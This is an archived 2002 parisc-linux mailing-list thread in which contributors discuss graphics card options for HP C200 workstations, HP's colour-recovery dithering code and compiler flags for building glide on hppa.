> get a used cheap Visualize-EG card somewhere.

I see - any other models that will work? I read your post about a
Visualize-24. Also, do all the different Visualize-EG models work?

Best wishes,
Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Question (fbdev, fbset, debconf)
Date: Fri, 23 Aug 2002 22:46:35 -0400
Lines: 49
Approved: news@gmane.org
Message-ID: <3D66F38B.40705@charter.net>
References: <002901c24afe$88ca1990$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621643 12867 80.91.229.3 (22 Nov 2014 02:00:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:43 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 20:45:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mx05.cluster1.charter.net (dc-mx05.cluster1.charter.net [209.225.8.15])
	by dsl2.external.hp.com (Postfix) with ESMTP id 49C4D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 20:45:45 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by mx05.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 50321157; Fri, 23 Aug 2002 22:45:46 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15889

Don't get a Visualize-24 card. I don't think those
work right now either. Your choice of graphics boards
for a C200 is pretty slim. You have to be careful,
I found that out the HCRX-24Z board apparently fried
my onboard LAN devices when I plugged it onto the GSC bus.
I'm selling it on Ebay right now, so don't buy it,
it won't work :-)

Visualize-EG boards were the low-end boards for C-200
and I think C-180 machines. You may be able to scrounge
one if you are patient. I believe the one you want
is the A4450A. Even still it only has 8-bit color.

I'm going to be attempting to get a *Voodoo2* board
working with X, so if you hang around I may be able
to write a HOWTO-hppa-Voodoo2-XFree86 guide, assuming
it works.

In the meantime, consider getting a used dumb terminal.
I have one and it is pretty convenient at times like
these. If I was getting a new one I think I'd take my
chances on a Wyse-30, they are extremely compact, but
I'm not sure how developed their terminfo support is.
I used my dumb terminal to initially bootstrap my
machine.

Or just run a null modem cable into the serial port
of your other linux box and use something like minicom
to be its terminal.

I realize I'm ramlbing here. Well, I believe that people
are working on getting the FX2/4/6 board working, so
don't get rid of it just yet.




Tobias Giesen wrote:
>>get a used cheap Visualize-EG card somewhere.
> 
> 
> I see - any other models that will work? I read your post about a
> Visualize-24. Also, do all the different Visualize-EG models work?
> 

Not sure. Be careful about putting cards from older machines
into the C200. May cause hardware damage.



From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Tobias Giesen" <tobias_subscriber@tgtools.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Voodoo2 (was: Question ...)
Date: Sat, 24 Aug 2002 05:29:30 +0200
Lines: 14
Approved: news@gmane.org
Message-ID: <003601c24b1e$757a8120$a80251d9@PLUTO>
References: <3D66F38B.40705@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621643 12868 80.91.229.3 (22 Nov 2014 02:00:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:43 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 21:29:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from moutvdom.kundenserver.de (moutvdom.kundenserver.de [195.20.224.131])
	by dsl2.external.hp.com (Postfix) with ESMTP id AE3464869
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 21:29:04 -0600 (MDT)
Original-Received: from [195.20.224.204] (helo=mrvdomng3.kundenserver.de)
	by moutvdomng1.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iRbk-0000NQ-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 05:29:04 +0200
Original-Received: from [217.81.2.168] (helo=PLUTO)
	by mrvdomng3.kundenserver.de with esmtp (Exim 3.35 #2)
	id 17iRbj-0000Er-00
	for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 05:29:03 +0200
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.3416
X-MIMEOLE: Produced By Microsoft MimeOLE V6.00.2600.0000
Importance: Normal
In-Reply-To: <3D66F38B.40705@charter.net>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15890

> I'm going to be attempting to get a *Voodoo2* 
> board working with X, so if you hang around 
> I may be able to write a HOWTO-hppa-Voodoo2-
> XFree86 guide, assuming it works.

A very good project that is. If you can make it work I'll get one too. I
assume the Voodoo2 would be initially dead and then activated by
XFree86? Would it need a new BIOS?

Cheers,
Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 (was: Question ...)
Date: Sat, 24 Aug 2002 00:13:00 -0400
Lines: 65
Approved: news@gmane.org
Message-ID: <3D6707CC.6020408@charter.net>
References: <003601c24b1e$757a8120$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621644 12873 80.91.229.3 (22 Nov 2014 02:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:44 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Aug 23 22:12:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx09.cluster1.charter.net (dc-mx09.cluster1.charter.net [209.225.8.19])
	by dsl2.external.hp.com (Postfix) with ESMTP id 78D29486D
	for <parisc-linux@lists.parisc-linux.org>; Fri, 23 Aug 2002 22:12:04 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx09.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 63130480 for parisc-linux@lists.parisc-linux.org; Sat, 24 Aug 2002 00:11:58 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15891

If you check back in the archives for this month
Alan Cox wrote in and was talking about the V2.

There is an sstfb framebuffer for the kernel, which
may need some work to use with hppa. Also, XFree86
has a 2D driver for Voodoo1/2 cards which uses the
glide libraries.

But, yes, the V2 card is initially dead until something
wakes it up, so it won't screw up the C200 firmware
hardware scan. The V2 has no BIOS, so thats not an
issue.

Steps to get it to work:

  a.  Compile Glide 2x on hppa (hopefully easy)
  b.  Tweak XF86Config-4 to get it to work (shouldn't be a big deal)
  c.  Tinker with the kernel sstfb code (probably challenging)


I think that a V2 would be a nifty board for these
HPPA boxen, as the documentation for the original
HP cards is lost / gone, and supporting them is
extremely problematic these days. And V2 cards
are pretty plentiful and very inexpensive these
days. Not to mention, they were real powerhouses.

Most of the HP graphics cards used this top-secret
"color recovery technology" which used a special
dithering method to reduce graphics data to 8bpp,
then the card somehow restored it to 24bpp. What
this means is that for all intents and purposed
all HP cards will be limited to 8bpp unless someone
can reverse engineer this stuff, which is probably
very unlikely to ever happen.

With a V2, at least you have a good chance of 16bpp
which to me is good enough. These boxes will never
be big gaming rigs, but 16bpp is nice for the newer
window managers and generally makes for an appealing
looking display.

I have a $15 V2 board winging its way to me now.
I suppose I oughtta get working on compiling glide.
I'll make the full debian source / binary / etc
available on my little Netwinder server if it works.



Tobias Giesen wrote:
>>I'm going to be attempting to get a *Voodoo2* 
>>board working with X, so if you hang around 
>>I may be able to write a HOWTO-hppa-Voodoo2-
>>XFree86 guide, assuming it works.
> 
> 
> A very good project that is. If you can make it work I'll get one too. I
> assume the Voodoo2 would be initially dead and then activated by
> XFree86? Would it need a new BIOS?
> 
> Cheers,
> Tobias




From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 (was: Question ...)
Date: 24 Aug 2002 15:01:56 +0100
Lines: 14
Approved: news@gmane.org
Message-ID: <1030197716.9908.5.camel@irongate.swansea.linux.org.uk>
References: <003601c24b1e$757a8120$a80251d9@PLUTO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621644 12879 80.91.229.3 (22 Nov 2014 02:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Tobias Giesen <tobias_subscriber@tgtools.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 07:59:54 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5591E482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 07:59:53 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7OE1w72011478;
	Sat, 24 Aug 2002 15:01:59 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7OE1uQM011476;
	Sat, 24 Aug 2002 15:01:56 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <003601c24b1e$757a8120$a80251d9@PLUTO>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15892

On Sat, 2002-08-24 at 04:29, Tobias Giesen wrote:
> > I'm going to be attempting to get a *Voodoo2* 
> > board working with X, so if you hang around 
> > I may be able to write a HOWTO-hppa-Voodoo2-
> > XFree86 guide, assuming it works.
> 
> A very good project that is. If you can make it work I'll get one too. I
> assume the Voodoo2 would be initially dead and then activated by
> XFree86? Would it need a new BIOS?

The voodoo2 has no BIOS to worry about. Glide can bring it up from
nothing



From - Thu Nov 08 21:24:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Voodoo2 (was: Question ...)
Date: 24 Aug 2002 15:14:52 +0100
Lines: 139
Approved: news@gmane.org
Message-ID: <1030198492.9903.17.camel@irongate.swansea.linux.org.uk>
References: <003601c24b1e$757a8120$a80251d9@PLUTO> 
	<3D6707CC.6020408@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621644 12881 80.91.229.3 (22 Nov 2014 02:00:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:44 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 08:12:59 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from irongate.swansea.linux.org.uk (pc2-cwma1-5-cust12.swa.cable.ntl.com [80.5.121.12])
	by dsl2.external.hp.com (Postfix) with ESMTP id F3A67482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 08:12:58 -0600 (MDT)
Original-Received: from irongate.swansea.linux.org.uk (localhost [127.0.0.1])
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5) with ESMTP id g7OEEs72011512;
	Sat, 24 Aug 2002 15:14:55 +0100
Original-Received: (from alan@localhost)
	by irongate.swansea.linux.org.uk (8.12.5/8.12.5/Submit) id g7OEEqho011510;
	Sat, 24 Aug 2002 15:14:52 +0100
X-Authentication-Warning: irongate.swansea.linux.org.uk: alan set sender to alan@lxorguk.ukuu.org.uk using -f
In-Reply-To: <3D6707CC.6020408@charter.net>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-6) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15893

On Sat, 2002-08-24 at 05:13, B. Douglas Hilton wrote:
> Most of the HP graphics cards used this top-secret
> "color recovery technology" which used a special
> dithering method to reduce graphics data to 8bpp,
> then the card somehow restored it to 24bpp. What

The required algorithm is on the HP web site with complete C code for
doing the dither. 

http://www.hp.com/workstations/support/documentation/manuals/user_guides/graphics/GAG11/3_XWindows11.html#HPColorRecovery

Kudos to HP's manual writers. The only bits that are not directly
covered is whether the processing is automatic or we have to bang bits
on the video board to turn on the modes



unsigned char dither_pixel_for_CR(RedValue,GreenValue,BlueValue,Xp,Yp)
  int   RedValue, GreenValue, BlueValue, Xp, Yp;
{
    static short        dither_red[2][16] = {
      {-16,  4, -1, 11,-14,  6, -3,  9,-15,  5, -2, 10,-13,  7, -4,  8},
      { 15, -5,  0,-12, 13, -7,  2,-10, 14, -6,  1,-11, 12, -8,  3,
-9}};
    static short        dither_green[2][16] = {
      { 11,-15,  7, -3,  8,-14,  4, -2, 10,-16,  6, -4,  9,-13,  5, -1},
      {-12, 14, -8,  2, -9, 13, -5,  1,-11, 15, -7,  3,-10, 12, -6, 
0}};
    static short        dither_blue[2][16] = {
      { -3,  9,-13,  7, -1, 11,-15,  5, -4,  8,-14,  6, -2, 10,-16,  4},
      {  2,-10, 12, -8,  0,-12, 14, -6,  3, -9, 13, -7,  1,-11, 15, -5}
};
    int                 red, green, blue;
    int                 x_dither_table, y_dither_table;
    unsigned char       pixel;

    /* Determine the dither table entries to use based on the pixel
address */
    x_dither_table = Xp % 16;   /* X Pixel Address MOD 16 */
    y_dither_table = Yp % 2;    /* Y Pixel Address MOD 2 */

    /* Start with the initial values as supplied by the calling routine
*/
    red   = RedValue;
    green = GreenValue;
    blue  = BlueValue;

    /* Generate the red dither value */
    red += dither_red[y_dither_table][x_dither_table];
    /* Check for overflow or underflow on red value */
    if (red > 0xff) red = 0xff;
    if (red < 0x00) red = 0x00;

    /* Generate the green dither value */
    green += dither_green[y_dither_table][x_dither_table];
    /* Check for overflow or underflow on green value */
    if (green > 0xff) green = 0xff;
    if (green < 0x00) green = 0x00;

    /* Generate the blue dither value */
    blue += (dither_blue[y_dither_table][x_dither_table]<<1);
    /* Check for overflow or underflow on blue value */
    if (blue > 0xff) blue = 0xff;
    if (blue < 0x00) blue = 0x00;

    /* Generate the pixel value by "or"ing the values together */
    pixel = ((red & 0xE0) | ((green & 0xE0) >> 3) | ((blue & 0xC0) >>
6));
    return(pixel);
}

For HCRX the code is

unsigned char dither_pixel_for_CR(RedValue,GreenValue,BlueValue,Xp,Yp)
  int           RedValue,GreenValueBlueValue,Xp,Yp;
{
    static short        dither_red[2][16] = {
      {-16,  4, -1, 11,-14,  6, -3,  9,-15,  5, -2, 10,-13,  7, -4,  8},
      { 15, -5,  0,-12, 13, -7,  2,-10, 14, -6,  1,-11, 12, -8,  3,
-9}};
    static short        dither_green[2][16] = {
      { 11,-15,  7, -3,  8,-14,  4, -2, 10,-16,  6, -4,  9,-13,  5, -1},
      {-12, 14, -8,  2, -9, 13, -5,  1,-11, 15, -7,  3,-10, 12, -6, 
0}};
    static short        dither_blue[2][16] = {
      { -3,  9,-13,  7, -1, 11,-15,  5, -4,  8,-14,  6, -2, 10,-16,  4},
      {  2,-10, 12, -8,  0,-12, 14, -6,  3, -9, 13, -7,  1,-11, 15,
-5}};
    int                 red, green, blue;
    int                 x_dither_table, y_dither_table;
    unsigned char       pixel;

    /* Determine the dither table entries to use based on the pixel
address */
    x_dither_table = Xp % 16;   /* X Pixel Address MOD 16 */
    y_dither_table = Yp % 2;    /* Y Pixel Address MOD 2 */

    /* Start with the initial values as supplied by the calling routine
*/
    red   = RedValue;
    green = GreenValue;
    blue  = BlueValue;

    /* Generate the red dither value */
    if (red >= 48) /* 48 is a constant required by this routine */
       red=red-16;
    else
       red=red/2+8;
    red += dither_red[y_dither_table][x_dither_table];
    /* Check for overflow or underflow on red value */
    if (red > 0xff) red = 0xff;
    if (red < 0x00) red = 0x00;

    /* Generate the green dither value */
    if (green >= 48) /* 48 is a constant required by this routine */
       green=green-16;
    else
       green=green/2+8;
    green += dither_green[y_dither_table][x_dither_table];
    /* Check for overflow or underflow on green value */
    if (green > 0xff) green = 0xff;
    if (green < 0x00) green = 0x00;

    /* Generate the blue dither value */
    if (blue >= 112) /* 112 is a constant required by this routine */
       blue=blue-32;
    else
       blue=blue/2+24;
    blue += (dither_blue[y_dither_table][x_dither_table]<<1);
    /* Check for overflow or underflow on blue value */
    if (blue > 0xff) blue = 0xff;
    if (blue < 0x00) blue = 0x00;

    pixel = ((red & 0xE0) | ((green & 0xE0) >> 3) | ((blue & 0xC0) >>
6));
    return(pixel);
}



From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "B. Douglas Hilton" <bdhilton@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Compiling glide-2001.01.26 on hppa
Date: Sat, 24 Aug 2002 13:55:56 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <3D67C8AC.2080309__8950.99105914614$1416621645$gmane$org@charter.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621645 12887 80.91.229.3 (22 Nov 2014 02:00:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:45 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: debian-hppa@lists.debian.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 11:55:08 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from dc-mx10.cluster1.charter.net (dc-mx10.cluster1.charter.net [209.225.8.20])
	by dsl2.external.hp.com (Postfix) with ESMTP id 6092C482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 11:55:08 -0600 (MDT)
Original-Received: from [24.159.161.68] (HELO charter.net)
  by dc-mx10.cluster1.charter.net (CommuniGate Pro SMTP 3.5.9)
  with ESMTP id 58722282; Sat, 24 Aug 2002 13:53:35 -0400
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.0.0) Gecko/20020529
X-Accept-Language: en-us, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15894

I have received my Voodoo2 board and am now working
on building the glide packages for the hppa architecture.
Working with the Debian source...

dpkg-buildpackage fails with the following line:

cc -O6 -m486 -fomit-frame-pointer -funroll-loops \
-fexpensive-optimizations -ffast-math -DBIG_OPT -I. \
-I/usr/src/glide-2001.01.26/build-tree/glide2x/swlibs/include \
-I/usr/src/glide-2001.01.26/build-tree/glide2x/cvg/include \
-DENDB -DX11 -Wall -fPIC -DPIC -c -o fx64.o fx64.c

cc1: Invalid option `486'


My question is, what incantation should I use on hppa to
replace the '-O6 -m486 -f...' CFLAGS?

Also, a side note, I'm missing the vga pass-through cable
for the Voodoo2. If anybody would be interested in swapping
one of the EVC->VGA dongle cables for an EVC->VGA adapter,
I will kick in $10 to sweeten the deal. The adapter works fine.



From - Thu Nov 08 21:24:15 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <tausq@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Compiling glide-2001.01.26 on hppa
Date: Sat, 24 Aug 2002 11:01:37 -0700
Lines: 16
Approved: news@gmane.org
Message-ID: <20020824180137.GB25592__34314.7501851947$1416621645$gmane$org@tausq.org>
References: <3D67C8AC.2080309@charter.net>
Reply-To: Randolph Chung <tausq@debian.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621645 12888 80.91.229.3 (22 Nov 2014 02:00:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:00:45 +0000 (UTC)
Cc: debian-hppa@lists.debian.org, parisc-linux@lists.parisc-linux.org
To: "B. Douglas Hilton" <bdhilton@charter.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Sat Aug 24 11:57:31 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.speakeasy.net (mail14.speakeasy.net [216.254.0.214])
	by dsl2.external.hp.com (Postfix) with ESMTP id ADB5A482B
	for <parisc-linux@lists.parisc-linux.org>; Sat, 24 Aug 2002 11:57:31 -0600 (MDT)
Original-Received: (qmail 32216 invoked from network); 24 Aug 2002 17:57:30 -0000
Original-Received: from unknown (HELO pippin.tausq.org) ([64.81.244.94]) (envelope-sender <randolph@tausq.org>)
          by mail14.speakeasy.net (qmail-ldap-1.03) with SMTP
          for <bdhilton@charter.net>; 24 Aug 2002 17:57:30 -0000
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id E2F4DCD294; Sat, 24 Aug 2002 11:01:37 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <3D67C8AC.2080309@charter.net>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15895

> cc -O6 -m486 -fomit-frame-pointer -funroll-loops \
> -fexpensive-optimizations -ffast-math -DBIG_OPT -I. \
> -I/usr/src/glide-2001.01.26/build-tree/glide2x/swlibs/include \
> -I/usr/src/glide-2001.01.26/build-tree/glide2x/cvg/include \
> -DENDB -DX11 -Wall -fPIC -DPIC -c -o fx64.o fx64.c
> 
> cc1: Invalid option `486'
> 
> 
> My question is, what incantation should I use on hppa to
> replace the '-O6 -m486 -f...' CFLAGS?

i would suggest just using "-O2" for now....

randolph


